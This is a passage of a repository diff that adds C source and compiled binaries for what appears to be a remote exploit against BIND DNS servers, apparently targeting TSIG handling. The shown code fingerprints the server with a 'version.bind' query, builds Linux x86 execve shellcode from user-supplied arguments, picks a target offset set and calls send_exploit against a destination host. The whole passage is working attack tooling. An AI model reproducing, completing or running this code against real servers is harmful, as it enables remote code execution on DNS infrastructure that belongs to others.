| 726 | break; | ||
| 727 | } | ||
| 728 | } | ||
| 729 | |||
| 730 | /* one remaining argument (script file name) | ||
| 731 | */ | ||
| 732 | if (mass == 1 && (argc - optind) == 0) | ||
| 733 | usage (argv[0]); | ||
| 734 | |||
| 735 | if (mass == 1) { | ||
| 736 | int len; | ||
| 737 | |||
| 738 | len = sc_build_x86_lnx (codebuf, sizeof (codebuf), | ||
| 739 | x86_lnx_execve, &argv[optind]); | ||
| 740 | |||
| 741 | fprintf (stderr, "created %d byte execve shellcode\n", len); | ||
| 742 | |||
| 743 | code = codebuf; | ||
| 744 | code_len = len; | ||
| 745 | } | ||
| 746 | |||
| 747 | target -= 1; | ||
| 748 | if (target >= target_cnt) | ||
| 749 | target = 0; | ||
| 750 | vec = &targets[target]; | ||
| 751 | |||
| 752 | fprintf (stderr, "using: %s\n", vec->name); | ||
| 753 | fprintf (stderr, "against: %s\n", dest); | ||
| 754 | fprintf (stderr, "\n"); | ||
| 755 | |||
| 756 | srand (time (NULL)); | ||
| 757 | |||
| 758 | send_exploit (dest); | ||
| 759 | |||
| 760 | return (EXIT_SUCCESS); | ||
| 761 | } | ||
| 762 | |||
| 763 | |||
| 764 | void | ||
| 765 | bind_version (struct addrinfo *addr, unsigned char *verbuf, | ||
| 766 | unsigned long int verlen) | ||
| 767 | { | ||
| 768 | int s1; | ||
| 769 | unsigned char pkt[] = | ||
| 770 | "\x00\x06\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" | ||
| 771 | "\x07\x76\x65\x72\x73\x69\x6f\x6e\x04\x62\x69\x6e" | ||
| 772 | "\x64\x00\x00\x10\x00\x03"; | ||
| 773 | unsigned char * ver; | ||
| 774 | unsigned char resp[256]; | ||
| 775 | unsigned char len[2]; | ||
| 776 | |||
| 777 | s1 = get_connection (addr); | ||
| 778 | if (s1 < 0) { | ||
| 779 | perror ("bind_version:connect"); | ||
| 780 | exit (EXIT_FAILURE); | ||
| 781 | } | ||
| 782 | |||
| 783 | *(u_int16_t *)len = htons (30); | ||
| 784 | if (Xsend (s1, len, 2, 0) < 0) { | ||
| 785 | perror ("bind_version:send-len"); | ||
| 786 | exit (EXIT_FAILURE); | ||
| 787 | } | ||
| 788 | |||
| 789 | if (Xsend (s1, pkt, 30, 0) < 30) { | ||
| 790 | perror ("bind_version:send-data"); | ||
| 791 | exit (EXIT_FAILURE); | ||
| 792 | } | ||
| 793 | |||
| 794 | memset (resp, '\0', sizeof (resp)); | ||
| 795 | if (Xread (s1, resp, sizeof (resp) - 1) < 0) { | ||
| 796 | perror ("bind_version:read-data"); | ||
| 797 | exit (EXIT_FAILURE); | ||
| 798 | } | ||
| 799 | |||
| 800 | ver = resp + sizeof (resp) - 1; | ||
| 801 | while (ver > resp && *ver == '\0') | ||
| 802 | --ver; | ||
| 803 | while (ver > resp && isprint (*ver) && *ver >= 0x20) | ||
| 804 | --ver; | ||
| 805 | if (*ver < 0x20) | ||
| 806 | ++ver; | ||
| 807 | strncpy (verbuf, ver, verlen); | ||
| 808 | |||
| 809 | close (s1); | ||
| 810 | } | ||
| 811 | |||
| 812 | |||
| 813 | static int | ||
| 814 | sc_build_x86_lnx (unsigned char *target, size_t target_len, unsigned char *shellcode, | ||
| 815 | char **argv) | ||
| 816 | { | ||
| 817 | int i; | ||
| 818 | size_t tl_orig = target_len; | ||
| 819 | |||
| 820 | |||
| 821 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 822 | return (-1); | ||
| 823 | |||
| 824 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 825 | target += strlen (shellcode); | ||
| 826 | target_len -= strlen (shellcode); | ||
| 827 | |||
| 828 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 829 | ; | ||
| 830 | |||
| 831 | /* set argument count | ||
| 832 | */ | ||
| 833 | target[0] = (unsigned char) i; | ||
| 834 | target++; | ||
| 835 | target_len--; | ||
| 836 | |||
| 837 | for ( ; i > 0 ; ) { | ||
| 838 | i -= 1; | ||
| 839 | |||
| 840 | if (strlen (argv[i]) >= target_len) | ||
| 841 | return (-1); | ||
| 842 | |||
| 843 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 844 | (tl_orig - target_len), tl_orig, | ||
| 845 | strlen (argv[i]), argv[i]); | ||
| 846 | |||
| 847 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 848 | target += strlen (argv[i]); | ||
| 849 | target_len -= strlen (argv[i]); | ||
| 850 | |||
| 851 | target[0] = (unsigned char) (i + 1); | ||
| 852 | target++; | ||
| 853 | target_len -= 1; | ||
| 854 | } | ||
| 855 | |||
| 856 | return (tl_orig - target_len); | ||
| 857 | } | ||
diff --git a/other/tsig/tcp.o b/other/tsig/tcp.o new file mode 100644 index 0000000..6bc8907 --- /dev/null +++ b/other/tsig/tcp.o | |||
| Binary files differ | |||
diff --git a/other/tsig/tsig b/other/tsig/tsig new file mode 100644 index 0000000..3b9d474 --- /dev/null +++ b/other/tsig/tsig | |||
| Binary files differ | |||
